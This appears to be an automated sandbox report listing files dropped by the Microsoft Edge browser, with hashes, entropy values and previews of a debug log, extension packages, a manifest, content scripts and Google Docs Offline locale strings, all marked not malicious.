SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.400297165560009
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0zX5MroJ0zv5M:JIVuwEw5MUFZLBQLtWgXM
MD5:	57D7CC2BD6C41F50127DB3D6645BF1D1
SHA1:	0C8D4D11A2F6DCA3B372E43BD41644E84F6D4C32
SHA-256:	F4444DB6A16E2525CE020D44ADA4C2E902977544C3FB5B299618333505B97763
SHA-512:	671B32CED856AB20CBE52EF42D1D6D21B4861E7B9D900EDC6FE3638DC6C4A4AB312275F60C41F1D22E7F15F5260A00454C7B631B356FBB4F2687C5564C17A859
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d6e95aee-0643-4091-9898-bab6749ea70d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2127225288\5914a1af-fa98-402f-a488-254ea87994a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2127225288\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2127225288\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2127225288\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2127225288\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\69a50da5-ef88-4862-b715-d53db29b9f49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
